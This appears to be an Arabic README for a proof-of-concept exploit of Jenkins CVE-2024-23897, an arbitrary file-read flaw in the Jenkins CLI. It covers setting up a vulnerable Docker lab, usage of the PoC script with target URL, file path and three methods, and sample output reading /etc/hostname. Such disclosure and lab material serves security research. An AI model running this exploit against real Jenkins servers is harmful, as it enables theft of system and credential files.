
إثبات المفهوم لـ Jenkins CVE-2024-23897
برهان المفهوم (PoC) لـ CVE-2024-23897، وهي ثغرة قراءة ملفات عشوائية في واجهة سطر الأوامر المدمجة في Jenkins (CLI). تسمح للمهاجمين غير المصادق عليهم بصلاحية Overall/Read بقراءة ملفات عشوائية على نظام ملفات وحدة التحكم في Jenkins.
الإصدارات المتأثرة
قم بتشغيل مثيل ضعيف محلياً باستخدام docker compose:
cd docker
docker compose up -d
سيكون المثيل متاحاً على http://localhost:1234
❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]
Jenkins CVE-2024-23897 file-read PoC
options:
-h, --help show this help message and exit
--url URL URL for Jenkins instance (default: http://localhost:1234)
--file FILE File to read (default: /etc/hostname)
--method {1,2,3} The method to use [connect-node(1), who-am-i(2), or help(3)] (default: 1)
مثال
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...
ERROR: No such agent "jenkins_vuln_instance" exists.
[i] Upload request done
[i] All threads completed
قد يواجه السكريبت مشاكل في قراءة الملفات الأكبر حجماً بسبب التوافقية وانتهاء فترة الاتصال. لمزيد من التفاصيل التقنية ودليل تفصيلي للثغرة، ألق نظرة على منشور مدونتي حول الموضوع.